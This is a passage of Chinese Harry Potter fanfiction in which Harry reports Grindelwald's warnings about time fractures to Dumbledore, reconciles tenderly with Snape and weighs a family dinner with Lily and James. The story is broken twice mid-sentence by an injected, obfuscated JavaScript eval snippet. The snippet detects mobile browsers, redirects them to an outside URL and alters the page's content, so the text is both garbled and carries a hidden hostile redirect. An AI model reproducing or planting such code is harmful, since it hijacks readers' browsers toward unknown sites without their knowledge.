“已经改变的不可能再回去。” 格林德沃转身走到那面贴满羊皮纸的墙前,撕下其中一张。 “但假如……我们能找到时间最初裂开的源头呢?弄清楚是什么让时间变得如此脆弱?” 他回到桌边,将羊皮纸平铺在桌上。这张羊皮纸的质地粗糙,边缘参差不齐,甚至缺了一个角,显然饱经岁月。然而,就在这泛黄的纸面上,那四个用简单线条勾勒的符号却异常清晰,乍看就像是孩童随手的涂鸦。 “所有人都知道死亡圣器的传说,以为那就是力量的终极,以为集齐它们就能成为死亡的主人。” 他的手指在那些符号上游移:“但在死亡圣器之前,还有四件更古老、更凶险的东西。它们不掌控死亡——它们掌控着时间的根基。” 哈利屏住呼吸,细看那些扭曲的形状。其中一个看起来像一扇拱门,另一个是个椭圆形,第三个像某种容器,第四个则完全无法辨认。 格林德沃的手指停在拱门符号上—— “而你,哈利·波特,已经亲身使用过其中一件了。” 111. 雨夜 哈利在滂沱大雨中回到霍格沃兹。厚重的乌云将天空压成一片铅灰色,大雨倾盆而下,仿佛要淹没整座城堡。他拖着沉重的步伐穿过空荡荡的走廊,尽管巫师袍施了防水咒,寒意还是无孔不入。冰冷的雨水浸透了他的黑发,湿漉漉的发丝贴在他的脸颊和脖颈上。 他在一扇落地窗前停下,凝视窗外模糊的世界。雨水在玻璃上划出扭曲的纹路,像是格林德沃提及的那些时间裂缝——这个世界似乎正面临前所未有的危机,而他,又成了那个背负秘密的人。 这一天实在是糟糕透顶。不管是伏地魔,还是格林德沃,都让他感到一种深入骨髓的筋疲力尽。哈利闭上眼睛,努力回忆今天唯一的暖意——甜蜜又带着酸涩的亲吻,桌下紧握的手,那些亲密的瞬间仿佛发生在另一个世界。 他需要那种真实的感觉,或许只有那样,才能将他从恐惧中拉回来。 想到这里,哈利的脚步不自觉转向通往地窖的楼梯。 晚餐时间早就过了。厨房就在不远处,家养小精灵们一定乐意为他准备些食物。他隐约感到饿了——整整一天没怎么吃东西。但此刻,找到斯内普的冲动压倒了一切。 他绕过了厨房,直奔地窖。这条走了无数次的路,今晚却显得格外漫长,而格林德沃的话还在耳边——时间的代价、泰迪失去的六年、那片该死的灵魂碎片。 这些想法让哈利心烦意乱。他咬咬牙,加快了步伐。他需要斯内普——需要那个人用冷静的逻辑,以及尖刻的评论来告诉自己一切都会好起来。又或许,他只是想静静地抱着他,短暂地停留一会儿,哪怕只是一小会儿也好。 然而,当他推开门时,地窖办公室里却是漆黑一片。 哈利站在门口,手还停在推门的姿势上。空荡的房间像在嘲笑他的期待——斯内普不在。 他茫然地站了一会儿。斯内普不在这里,会去哪里? 失望涌上来,他靠向身后冰冷的墙壁,长长地吐出一口气。 等一下……守护神的报信应该已经送到邓布利多那儿了,对吧?而斯内普一定也第一时间得知了自己还活着的事。如果是这样的话,他现在最可能会待在的地方…… 校长办公室。也好,格林德沃透露的那些信息实在太惊人了,他必须尽快与邓布利多确认一切,必须确定自己是否真的在与一个疯子合作。 哈利用力闭上眼睛,再睁开时,脸上已经恢复了平静。他转身大步离开地窖,脚步越来越快。 —————— 哈利说出口令,石像鬼跳到一旁。螺旋楼梯开始移动,将他送到顶端那扇熟悉的橡木门前。他推开门,门内的情景让他愣在原地。 室内空气沉重而压抑。小天狼星靠在窗边,像一头困兽一样,烦躁地盯着窗外的暴雨。詹姆斯坐在壁炉旁边的扶手椅上,头埋在双手间。而斯内普选了墙边最暗的位置,黑袍几乎让他消失在那片阴影中。邓布利多坐在办公桌后,蓝色的眼睛透过半月形眼镜审视着一份文件,似乎毫不在意自己的办公室里还有另外三位巫师,各自占据着不同的位置,将房间划分成了三个孤立的小岛。 门的响动打破了这种诡异的平衡。四双眼睛同时转向门口。 小天狼星第一个冲过来。 “哈利!” 教父几乎是扑过来的,那个拥抱用力得让哈利的骨头都发疼。小天狼星的手在抖,声音也是:“梅林的胡子——你去哪儿了?我们以为——我们都快疯了!你有受伤吗?怎么头发都是湿的,刚刚淋雨了吗?让我瞧瞧——”他一口气问个不停,双手抓着哈利的肩膀上下打量。 “我没事,小天狼星。”哈利安抚地拍了拍他的手臂。他目光越过小天狼星,看到了站在原地,看似想上前却又犹豫的詹姆斯。哈利已经习惯了他的回避,只是平静地移开了目光。 而斯内普…… 哈利一眼就瞥见了他。魔药教授依然站在阴影里,一动不动。但哈利能感受到,那双眼睛像是要把他钉在原地,仿佛要穿透皮肤看进他的灵魂。 他心头一紧,想朝斯内普的方向走过去,但小天狼星还抓着他的手臂,而詹姆斯就站在不远处。哈利心里默默叹了口气,知道现在得先处理正事。 “真的没事吗?”小天狼星还在追问,手不停地在他肩膀和手臂上摸索,像是在检查伤口,“你消失了那么久,守护神说你遇到意外——” “我真的没事。”哈利轻轻推开他,走向办公桌,目光转向默默等待着他的校长:“阿不思,我有非常重要的事要和你说。” 邓布利多的手指交叉在一起,“哈利,我猜你是想告诉我你去了哪里。” “我遇到了格林德沃。”哈利注意到邓布利多的表情微变,“一直在他那里。” 小天狼星倒抽了一口冷气,脸上浮现出难以置信的神情;詹姆斯猛地抬起头,紧张地看向哈利;而站在阴影里的斯内普则微微向前探了探身子,目光专注地盯着哈利。 沉默持续了几秒后,邓布利多缓缓开口:“这确实……让我有些惊讶。不过,考虑到他之前在纽蒙迦德的表现,我本不该如此意外。他也确实有能力干扰我设置的门钥匙。” 老校长停顿了一下,蓝眼睛锐利地看着哈利:“那么,我想他找你是为了时间旅行的事?” “你还是一样一针见血,阿不思。”哈利扯出一个疲惫的笑,“他跟我说了很多。我也不知道能不能相信他……但目前看来,他是唯一知道这个世界正在经历什么的人。” 他顿了顿,疲惫让他的声音有些沙哑,“我不知道该怎么做。我需要你的建议,阿不思。” “当然,哈利。你知道的,我一直在这儿。”邓布利多注视他片刻,“不过请先回答我一个问题。格林德沃大费周折把你找去,肯定不只是为了给你讲故事。他是不是需要你做什么事?” “是的。”哈利点了点头,“他说这事只有我能做。” “第二个问题,”邓布利多又问,“这件事是否十分紧急?需要立即完成吗?” 哈利毫不犹豫地摇了摇头,“我恐怕这不是一两天能解决的问题。” “很好。那最后一个问题,格林德沃有没有给你设下时限?必须什么时候完成?” “也没有。”哈利再次摇头,从袍子里摸出一个海螺贝壳,在手心里掂量着它的重量,“他只是给了我一个门钥匙,说完成后再去找他。当然,我也不能拖太久。” “我明白了。”邓布利多盯着那个门钥匙看了几秒,随后站起身环视一圈,目光在另外三人脸上短暂停留,最后又回到哈利脸上,“我想,今晚不是讨论这些的好时机。” “什么?”小天狼星立刻抗议,“阿不思,这关系到——” “关系到很多事,我明白。”邓布利多打断他,“但看看你们自己吧。哈利刚从一场我们还不了解的危险中回来,而你们——” 他的目光在斯内普身上停留了一瞬,又看向脸色惨白的詹姆斯。 “可是——”詹姆斯沙哑着嗓子,第一次开口。 “没有可是,詹姆斯。”邓布利多的语气变得严肃,“今天已经是很长的一天了。对所有人来说都是。” “阿不思,我可以坚持的。”哈利皱起眉头。 邓布利多只是看着他,眼神温和但坚定,“哈利,我相信你带回来的消息十分重要,重要到值得我们在一个更平静的时刻,用更清醒的头脑来倾听。今晚,我想你们所有人都需要一样东西——那就是不受打扰的休息。” “都回去吧。”邓布利多做了个手势,“等大家都冷静下来,我们再来讨论格林德沃和他的计划。” —————— 几个人默默离开办公室。楼梯上,小天狼星凑过来拍了拍哈利的肩膀:“你看起来累坏了,去睡一觉。对了,”他压低声音,小声问,“你今天……见到莉莉了吗?” 哈利感觉喉咙又堵住了,只能点点头。“她说……等我回来。” “她当然会等你!”小天狼星脸上终于有了点笑意,“那你什么时候回去?要不明天?我可以陪你一起去,如果你需要的话。我是说,第一次可能会有点尴尬——” “过两天吧。”哈利含糊地应道。 小天狼星脸上划过一丝失望,但也没再坚持。 走到门厅时,一直沉默的詹姆斯突然加快脚步,挡在了哈利面前。 哈利的心跳漏了一拍。这是四个月来,詹姆斯第一次主动接近他。 年轻的父亲张了几次嘴,像是有什么话卡在喉咙里。哈利看着他攥紧又松开的拳头,等待着。 沉默拉得很长。 “回家吧,哈利。”詹姆斯说。 这简单的一句话让哈利瞬间失语。自从去年圣诞节之后,从詹姆斯眼里只剩冷漠和疏远开始,他就不再奢望听到这句话。以至于现在真正听到时,他反而不知道该怎么回应。 哈利盯着詹姆斯的眼睛,看到他眼中的纠结和不安,好像还有一丝小心翼翼的请求。 四个月的逃避和冷漠,现在却突然……为什么?发生了什么让他改变主意?是邓布利多说了什么吗?还是…… 一阵苦涩涌上心头。哈利张开嘴,发现自己不知道该说些什么。他该叫他什么?波特司长?詹姆斯?“爸爸”又太陌生。 最后,他只是慢慢摇了摇头。 “不……不了。”声音小得几乎听不见,“今天不行。” 他看到詹姆斯眼里的失落,却还是退后一步。 “我……”他艰难地吞咽了一下,“等我处理完手头的事。我保证。” 然后他转身,几乎是逃离般地离开了。身后传来小天狼星似乎在安慰詹姆斯的声音,但哈利已经听不清了。 —————— 哈利关上门,背靠着门板,终于让自己颤抖起来。 他机械地脱下湿透的外袍,走进浴室,用热水冲去满身的疲惫。当他终于躺到床上时,身体虽然累得几乎动弹不得,脑子却清醒得要命。他把双手枕在脑后,盯着天花板上的阴影。 就像十七岁那年。那个春天的夜晚,他从冥想盆里看到了斯内普的记忆,得知自己必须赴死的那一刻。那种全世界的重量压在肩头,却没有人能分担的孤独感,和现在的情形几乎如出一辙。 只不过这一次,要崩塌的不只是他的生命,可能是整个世界。 斯内普—— 哈利突然想起了什么。从踏入校长办公室到逃离门厅,他竟没跟斯内普说过一句话。 在那种混乱的局面下,他的注意力全被格林德沃的警告、以及詹姆斯那句迟来的“回家”占据了。而那人始终站在办公室最远的角落,一声不吭,出来时也远远落在后面,像是要离小天狼星和詹姆斯越远越好。哈利知道他不愿跟他们走一块儿,可自己刚才只顾逃离那令人喘不过气的场合,连回头看一眼都忘了——明明回来时,他最想见的,就是斯内普。 他会不会觉得自己被冷落了?这念头让哈利心里一阵烦躁和愧疚。 要不去地窖找他吧—— 可现在这么晚了……说不定他已经睡下了。也许明天早上?一起吃个早餐,他就能把一切都说清楚…… 他正胡思乱想着,书架后传来一阵轻微的响动。 哈利猛地坐起身,顿时绷紧了神经。那是通往斯内普办公室的密道。自从修好后,他只用过一次,就是上次卢修斯通过黑魔标记联系他的那晚。 敲门声再次响起,按他们约定的节奏——两声轻敲,停顿,再一声稍重的。 哈利一下子蹦下了床。难道出什么事了?伏地魔又有动作? 他按下书架上隐藏的凹槽,暗门无声地滑开。 斯内普站在那里,黑色的身影几乎融入了周围的黑暗。月光照亮了他的半边脸,另一半依然藏在阴影中。 “西弗勒斯?”哈利紧张地问,“出什么事了吗?是不是伏地魔——” 斯内普没回答,只是站在原地,那双深不见底的黑眼睛紧盯着哈利,目光炽热得简直要把他生吞活剥。借着窗外斜射进来的月光和房间里的微弱烛光,哈利这才看清了他的脸:嘴角裂了道口子,下巴上青紫一片。 是在里德尔府?他走了后,伏地魔迁怒于他?还是…… “西弗勒斯?”哈利担忧地又叫了一声,上前一步,“你的下巴——” 他的话没说完,斯内普已经动了。他一步跨过密道和房间的距离,右手准确地扣住哈利的后颈,左手按在他的腰上,然后—— 一个吻压了上来,凶猛得像是要夺走他的呼吸。 斯内普的嘴唇因为那道裂口带着血腥味,但他似乎完全不在乎疼痛,只是一次次拉近彼此的距离,不留一丝空隙。 哈利最初的几秒完全懵了。随即,他就明白了过来。 钻心咒。斯内普被迫对他施咒时的痛苦和抗拒。他能用大脑封闭术隐藏情感,却无法阻止灵魂被一刀刀凌迟。而现在,他来了。带着伤,带着恐惧,带着一种近乎绝望的渴求——他需要确认自己爱的人还活着,还完整,还属于他。 哈利的身体软了下来。他闭上眼睛,开始回应这突如其来的亲密。他的手抚上斯内普的脸,指尖轻柔地避开那些伤处。 我在这里。我是完整的。你没伤到我。我们都还活着。 他用温柔的触碰传递着这些无声的话语,一遍又一遍。不知过了多久,斯内普才稍微松开了钳制。两人的额头抵在一起,共享着紊乱的呼吸。哈利舔了舔嘴唇,尝到了血的味道。他抬起手,拇指轻轻摩挲着斯内普嘴角的伤口。 “谁干的?”他问。 斯内普的目光紧锁着哈利,里面的热度依旧未减。他极轻地嗤笑了一声,似乎牵动了嘴角的伤口,让他微微皱了下眉,“你的教父。在观赏了一段超出他那颗脑袋容量的记忆后,选择用他唯一能理解的方式来表达意见——拳头,显而易见。” 哈利愣了一下,旋即反应过来。斯内普把那段记忆放在冥想盆里,而小天狼星肯定看到了斯内普被迫对他施咒的全过程。不过…… 他的目光落在那块青紫上。以他对两个人的了解,斯内普可不会乖乖站在那里挨打。他在脑海里迅速回忆了一下,小天狼星的衣服确实有点乱,但身上并没有伤。再说这种小伤,一个简单的治愈咒就能治好,可眼前这人偏偏顶着伤来找自己…… 哈利忍不住想笑。说来也怪,他从来不是多细心的人,否则也不会连着被甩了两次。可不知为什么,斯内普的这些小动作,他却莫名地能看懂。 斯内普见他盯着伤口出神,便按捺不住,想再次亲近。哈利抬手挡住了他的动作。那一瞬间,他突然觉得,所有的疲惫与阴霾,都在斯内普这种别扭得让人心软的举动中消散了。 “你在装可怜。” 魔药教授的表情稍微一顿,随即恢复了平时的面无表情。但哈利敏锐地发现,他那一瞬间的慌乱掩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156449|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饰得并不完全,就像是被抓到做了什么偷偷摸摸的事。 哈利简直哭笑不得。西弗勒斯·斯内普,这个能把尖刻当铠甲的男人,竟会用这种近乎耍赖的方式来寻求安慰? “过来。”哈利干脆拉着他的手,带他走到床边坐下。 斯内普顺从地跟着,但当哈利从枕头底下摸出魔杖时,他又凑过来想要另一个吻。 “等等。”哈利用手拦住,先在那块青肿上轻轻咬了一口——不重,只是想看斯内普瞪大眼睛的模样。 然后他举起魔杖:“愈合如初。” 淡蓝色的光芒闪过,伤口瞬间消失。哈利没急着收魔杖,而是用杖尖轻轻戳了戳斯内普变得光滑的下巴。 “所以,”他故意拖长声音,“我们伟大的魔药大师,现在连这种小伤都治不好了?” 斯内普一点也不觉得羞愧。他捉住哈利拿着魔杖的手,咬上了他的耳朵:“也许只有某位黑魔法防御术教授的魔咒才管用。” 温热的气息让哈利不自觉缩了缩脖子。他忽然从斯内普这些反常举动中,察觉到他内心藏着的恐惧——原来这男人也在怕,怕那道钻心咒会成为横亘在他们之间的裂痕。 所以他来了,用他能想到的方式,哪怕那办法笨拙得可笑。 哈利放下魔杖,认真地望着斯内普的眼睛。他想说点什么,想把格林德沃告诉他的那些可怕真相都倾诉出来,想告诉他自己没有那么勇敢,想说自己有多需要他…… 但话到嘴边,他又咽了回去。他好像也没那么迫切了。 “吻我。”哈利听到自己说。 斯内普的眼睛亮了起来。 这一次的吻温柔多了,不再是那种绝望的掠夺,而是缓慢的品尝。哈利的手指穿过斯内普的黑发,感受着掌心下的温度。 让格林德沃和他的时间穿越见鬼去吧!此刻,安抚眼前的爱人,比世界的危机更重要。 他伸手去解斯内普的衣扣,然后愣住了。 “你……”哈利眨眨眼,确认自己没看错,“你穿着睡袍来的?” 黑色的睡袍,没有一颗扣子。 斯内普理所当然地看着他,仿佛这是世界上最正常的事。 哈利愣了好几秒,先是低低地笑了笑,然后这笑声不由得蔓延开来,最终爆发成一阵酣畅淋漓的大笑。 这太荒谬了。今天的一切都太荒谬了。他刚刚和一个黑魔王正面交锋,又从另一个疯子黑魔王那里得知这个世界可能正面临崩塌,而他的父亲在四个月的疏远后终于说了“回家”。最不可思议的是,他的恋人——那个总是一丝不苟的斯内普——竟然穿着睡袍、带着故意隐瞒的伤来找他…… “你笑什么?”斯内普皱眉,眯起眼睛看着大笑的哈利。他努力绷住脸,试图找回威严,但睡袍的存在让这一切显得有些徒劳。尤其是当他嘴角不自觉地上扬时,那丝无奈的纵容便再也藏不住了。 “没什么。”哈利笑着摇头,伸手拽住他的衣领,“就是突然觉得……”他没有说完,直接把斯内普拉向自己。 两个人相拥着倒在床上,睡袍果然很方便。 —————— 哈利是被持续不断的敲击声吵醒的。 清晨的光线有些刺眼,他不得不用手遮住眼睛。窗外,一只棕色的猫头鹰正不耐烦地用喙敲打着玻璃,见他醒来,翅膀扑腾得更欢了。 哈利的第一反应是看向身边。 斯内普侧躺着,一条手臂还占有性地圈着他的腰。阳光洒在他脸上,照亮了那些平日掩在阴影里的细节——阖着的眼睛下是浓重的青黑,下巴上冒出了细密的胡茬,脸上有着清醒时少见的放松神情。 猫头鹰又开始敲窗,这次更用力了。 哈利回过神来,小心翼翼地挪开斯内普的手臂,轻手轻脚下了床。他快步走到窗边,拉开窗户,一把抓住扑进来的猫头鹰。 “嘘。”他警告那只过分热情的鸟,一边解下它脚上的信,一边抓了把猫头鹰饲料扔给它。 借着晨光,他展开信纸——莉莉急切却工整的字迹立刻映入眼帘。 亲爱的哈利, 我知道你可能需要时间,但我还是想说,我们都在等你回家。不管什么时候,只要你准备好了。这里永远是你的家。 晚餐定在七点,但你早点来或晚点来都可以。你可以来抱抱黛西,她是那么的喜欢你。 詹姆斯昨晚回来后在客厅坐了一整夜。我想他有很多话想对你说,只是还不知道怎么开口。我知道他是个不合格的父亲,如果你想揍他几拳,小天狼星肯定会很乐意帮你的—— 他也在这儿,在沙发上睡着了。他们两个看起来都糟糕透了。 请原谅我们的笨拙,哈利。我们都在学习如何成为你的家人。 爱你的, 莉莉 P.S.我今天会做南瓜馅饼。希望你会喜欢。 哈利慢慢把信折好,手指在纸边停留了片刻。他还在思考该如何回应这份邀请,一双手臂就从身后环住了他。 “吵醒你了?”哈利问,略微偏过头。 回答他的是落在后颈的一吻,温热的触感覆盖在昨晚的印记上。 “谁的信?”斯内普的声音还带着刚醒来的沙哑。 哈利犹豫了一下,“莉莉的。” 身后的动作停了。 片刻后,一个听不出情绪的声音响起:“是吗。” “她邀请我去家里吃饭。”哈利转过身,“说真的,我有点害怕。我不知道该怎么面对……这明明是我一直梦寐以求的……” 斯内普松开他,拉开一点距离。再开口时,他恢复了平时的语气:“哈利,你该明白,你面对的从来不是什么简单的童话故事。现在你所得到的,是它真实、复杂且麻烦重重的一面。感到害怕是正常的,至少说明你还没有被那点表面的喜悦冲昏头脑。” “你要跟我一起去吗?”哈利突然问道。 斯内普愣住了,显然对这个邀请毫无准备。 窗台上的猫头鹰吃完了饲料,但没有立即离开,而是歪着头看着屋里的两人。 “西弗勒斯?”哈利坚持道,“我是说,总得告诉他们我们的事——” “我不觉得我的出现会让气氛变好。”斯内普打断他,语气里带了点自嘲。 “莉莉会欢迎你的。” “莉莉或许会。”斯内普的目光移向窗外,“但你的父亲和教父恐怕更想把我扔出去。相信我,我很清楚他们的‘好客’方式。” “可是——” “那是你的家庭聚会,哈利。”斯内普平静地强调,“他们是你的家人。你需要时间和他们相处,而他们也需要时间学会和你相处。别让我的存在破坏难得的机会。” 哈利还想争辩,但斯内普的表情告诉他,这个话题已经结束了。 两人静静相视片刻。然后,像是达成了某种默契,哈利伸手拿起羽毛笔。他没有多写什么,只是简单地写道:“晚上见。”斯内普帮他把信绑在猫头鹰腿上。 他们目送着猫头鹰展翅飞走。阳光照进房间,不管他们是否准备好,新的一天终究是来了。 斯内普的目光重新落在哈利脸上,手指轻轻理了理他睡乱的头发——这样的温柔,和他刚才那种冷硬的语气,根本不像出自同一个人。 “她只是想确认你平安。”他的声音难得温和了些,“不用担心,莉莉……一直都很坚强。” 112. 归家前夕(上) 哈利一手撑着下巴,侧脸凝视着身边的斯内普。后者专心切着煎蛋,脸上的伤已经愈合,皮肤恢复如初,但哈利知道那些痕迹还遗留在更深的地方。那些痕迹属于他们两个人。即使是为了掩护身份,将魔杖指向他时的那份决绝与痛苦,对斯内普而言,恐怕是比咒语本身更漫长的折磨。 昨晚,哈利选择了先安抚自己的恋人,尽管他自己也疲惫不堪。待一切平静下来,两人相拥在黑暗中时,哈利还是忍不住向斯内普倾诉了那些沉重的真相。 “每次时间旅行都会留下裂痕,我和泰迪不是唯一穿越时空的。”哈利平静地陈述道,“格林德沃说——” “够了。”斯内普的手指轻轻按在他的唇上,阻止了他继续说下去。 哈利握住那只手:“你不想知道?” “我想知道的都知道了。”斯内普的拇指摩挲着他的唇,那里还残留着片刻前的温热,“你付出了代价,才会在这里。其他的……没有任何意义。” 哈利怔住了。 “继续说下去,除了让你做一夜噩梦之外,改变不了什么。”斯内普的手从他的唇上移开,转而有些粗暴地揉了揉他的头发,“睡吧,哈利。我就在你旁边。” 也许是因为终于说出来,也许是因为有人的陪伴,那些压在心头的秘密似乎不那么可怕了。至少,在这个春日的清晨,哈利还能静下心来,享用一顿正常的早餐。 “别老盯着我看。”斯内普头也不抬,“除非你又想上韦斯莱·从来不干好事·双胞胎的广播节目。” 哈利眨眨眼,懒洋洋地挥了挥魔杖。混淆咒、忽略咒以及闭耳塞听咒无声地展开,把他们包围得严严实实。 “现在没人注意我们了。”他得意地说,“我可以光明正大地欣赏我的男朋友吃早餐。” “男朋友”这个词显然戳中了斯内普某根神经。他手中的刀叉停了停,然后继续切着煎蛋,只是耳尖悄悄地红了。 “幼稚。”斯内普憋了半天,才挤出这么一句评价。 “但很有效。”哈利理直气壮地回答,往嘴里塞了一大口培根,“你明明挺喜欢。” “典型的格兰芬多厚脸皮想法。” “总比斯莱特林的口是心非要好。” 这时,一只猫头鹰飞下来,在哈利面前丢下一封信,然后头也不回地飞走了。 “邓布利多的。”哈利认出了那熟悉的花体字。“他怎么用猫头鹰送信?我还打算早餐后去找他。” 他展开羊皮纸,快速浏览了一遍,表情从轻松变为困惑,最后哼了一声。 “怎么了?”斯内普问。 哈利把信递过去:“你自己看。” 亲爱的哈利, 我需要立即处理一些紧急事务,现已暂时离开霍格沃兹。关于那一位的事情,我知道事关重大,但需从长计议,等我返回后再和你确定具体会面时间。请利用这段时间,好好休息。 记住,有时候最紧迫的事,恰恰是那些看起来最平常的。 ——阿不思·邓布利多 P.S.代我向西弗勒斯问好。 “‘好好休息’。”哈利干笑了一声,“在我一天之内见过两代黑魔王之后?” 他靠回椅背,揉了揉太阳穴。不过,他也知道这确实不是能一蹴而就的事。格林德沃的那些线索,花了多少年才拼凑出的一部分,怎么可能轻易解决。 至于伏地魔……哈利太了解他了。昨天那番“更伟大的意志”完全是临时想出来的,效果却出乎意料的好。晚上,斯内普也证实了这一点——伏地魔果然下令所有人按兵不动,直到他弄清楚那个背后隐藏的对手是谁。 伏地魔不喜欢未知的威胁,这比看得见的敌人更让他寝食难安。他会把大部分精力浪费在怀疑和调查上,这正好给凤凰社争取了时间。 而且,见过格林德沃之后,哈利意识到,这个谎言可以半真半假地演下去——反正格林德沃要找他合作,总得给点诚意,倒不如顺便让伏地魔觉得他就是那个潜在的威胁。 毕竟,与世界可能崩塌相比,伏地魔的问题可显得“正常”多了。 想到这里,哈利反而释然了。二十多年的救世主经历教会了他一件事:焦虑解决不了任何问题。既然危机暂时不会爆发,那就先把眼前的事处理好。 斯内普把信还给他。“邓布利多倒是说对了一点。”他拖长语调慢悠悠地说,“比起那些暂时解决不了的事,如何面对迫在眉睫的家庭晚餐,确实更棘手。” “你说得对。”哈利长叹一口气。他确实该担心点更实际的问题。 然而,当他真正开始思考时,另一种焦虑顿时冒了出来。伏地魔至少是个能对抗的敌人,而父母……他们是他永远无法用魔法解决的难题。 哈利感觉胃里打了个结。他放下叉子,培根突然变得毫无味道。 —————— 哈利抱着一叠羊皮纸走进魔药学办公室。“我想在这里批改作业,”他说,“我办公室里太闷了。” 斯内普从桌后抬起头来,什么也没说,只朝角落的空桌点了点头。 起初,哈利还试图集中精神批改七年级学生的论文,但没过多久,他的耐心就耗尽了——这些即将参加N.E.W.T.s的学生,竟然还在犯最基础的错误,比如把夺魂咒的抵抗方式写得一塌糊涂。这些错误让他心烦意乱,眼睛扫过一页又一页,但没有任何一行字能进入他的脑海。 他烦躁地甩开羽毛笔,站起身开始在办公室里来回转圈,心中充满了不安和恐惧。 今晚,他将不再是“哈利·佩弗利尔”,而是以“哈利·波特”的身份,面对自己的父母,参加家庭晚餐。但他完全不知道该如何扮演一个儿子——一个他从未真正体验过的角色。 哈利焦躁极了,完全不知道在这种场合上该说些什么。梅林在上,他甚至连怎么称呼都拿不准——“爸爸”和“妈妈”这两个词,总让他有点难以启齿,可直呼名字肯定也不合适。 斯内普依旧坐在自己的办公桌前批改论文,神情专注而平静。哈利不想打扰他,便刻意绕到离桌子远远的角落。 也许该准备一些话题,以免冷场?哈利继续想着他的心事。天气?开场还行,但聊不了几句。魁地奇?詹姆斯可能会感兴趣,可万一他还是像以前那样冷淡怎么办…… “我不明白你在焦虑什么。”斯内普的声音从房间另一头传来,“据我观察,你和你那位教父就相处得相当融洽。布莱克恨不得每时每刻都围着你转,我一点不奇怪,要是给他个机会,他会把你直接搬进他的卧室当抱枕。” 哈利愣了愣,意识到自己刚才无意中把心里话嘀咕了出来。他停下脚步,转身看着斯内普,仔细琢磨了一下刚才那句话——等等,这语气里是不是有点酸? “可小天狼星不一样。”哈利唇边不自觉地浮起一丝笑意,但随即又皱起眉头。 “哦?”斯内普放下羽毛笔,黑眼睛审视着他,“有什么不一样?” “我从四年级开始就经常给他写信,五年级暑假还有圣诞节,我和他一起在格里莫广场住了一阵子……”哈利耸耸肩,“虽然时间不长,但和他在一起,我知道该说什么,做什么。” 他转过身,背靠在工作台边缘,双手撑着台面。 “但我的父母?”哈利神情有点低落,“西弗勒斯,我十一岁之前连他们的照片都没见过。海格给我的相册才让我第一次知道他们长什么样子。而现在,我要坐在他们对面,假装自己知道该怎么做一个儿子?” 斯内普看着他的表情有了微妙的变化。 “我以前只在厄里斯魔镜里见过他们,还有那次闪回咒让我看到了他们最后的影子。后来用复活石的时候……”哈利垂着头,“可那些都不是真的他们,不是吗?只是我需要时才出现的幻影。” 他苦笑了一下:“刚回到这里时,我还能躲在‘哈利·佩弗利尔’的身份后面。可今晚……如果我让他们失望了怎么办?要是詹姆斯还是——” 哈利截断了自己的胡思乱想,“算了,想这些也没用。” 烦躁之下,他不由自主地拿起魔杖,随手一挥,工作台上一个小瓶子便颤巍巍地飘了起来。 “放下。”斯内普正盯着他的动作。 哈利不情愿地解除魔咒,让瓶子落回原处。他的目光转向了墙边的魔药架——那些玻璃罐整齐地排列着,里面装着各种动物的内脏和器官,有些还在防腐液里微微颤动着。魔杖轻轻一指,一个装着火蜥蜴眼睛的玻璃罐悬浮到了空中。 “哈利。”警告的意味已经很明显。 “我只是看看它们是怎么分类的。”哈利一边辩解,一边让旁边那罐蝙蝠脾脏也飘了起来,“你知道吗,如果按大小重新排列——” 斯内普放下了手中的羽毛笔。 这显然被哈利理解为某种默许。他的注意力又转向了底层那个上锁的储藏柜。 “对了,”他装作漫不经心地问,“鳃囊草放在哪里?我记得那东西挺稀有的。” 斯内普的黑眼睛锐利地看向他:“你怎么知道我有鳃囊草?” 哈利左顾右盼,避开了他的目光,意识到自己在自投罗网。在另一个世界里,是多比从斯内普这里偷了鳃囊草帮他。但这个世界的历史已经完全不同了,显然未来也不再会出现这一幕。 “这是……‘未来’发生的事?”斯内普若有所思,“让我猜猜,这和你现在这种不问自取我收藏材料的习惯有关?” 哈利有些心虚地移开视线:“我什么时候——” “好吧,”他叹了口气,决定部分坦白,“我承认,四年级的时候,三强争霸赛的第二个项目,我可能……借用了一些。” 斯内普微微侧头,眼中闪过一丝玩味:“借用?我记得某个波特去年把我的整个地窖炸得面目全非之前,也说是来借用我的材料,而且还是一副理所当然我得提供材料给你用的样子。” 一回想起那天的情形,哈利就尴尬得不行:“你也没阻止我用啊。而且那是个意外!你知道我在研究防护咒语——” “意外。”斯内普重复着这个词,“把价值上千加隆的魔药全部毁于一旦,还差点把自己炸上天,更别提搞出那几个不知所谓的玩意儿。然后第一反应是逃之夭夭——” “我没有逃!”哈利抗议,“我只是……需要时间思考怎么解释。” “你在愉快地参加生日宴会。”斯内普提醒他,“直到我发了吼叫信。” 哈利忍不住笑了:“你的吼叫信把所有人都吓了一跳,我可别提多丢脸了。不过你最后不还是原谅我了——算是原谅了吧?” “原谅?”斯内普的目光暗了下来,“我只是决定让你活着,这样才能慢慢偿还那些损失。” “用什么偿还?”哈利大着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156450|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胆子问。 斯内普盯着他看了几秒:“你最好祈祷永远不需要知道答案,哈利。” “咳咳……我一直很好奇,”哈利赶紧转移话题,用魔杖轻轻敲了敲柜门,“八眼巨蛛的毒液是什么颜色?听说很值钱,一品脱能卖一百加隆——” 柜门上的锁发出警告性的嘶嘶声。 “如果你再继续这样下去,”斯内普慢条斯理地说,“我会认真考虑把你变成下节课的魔药材料。” 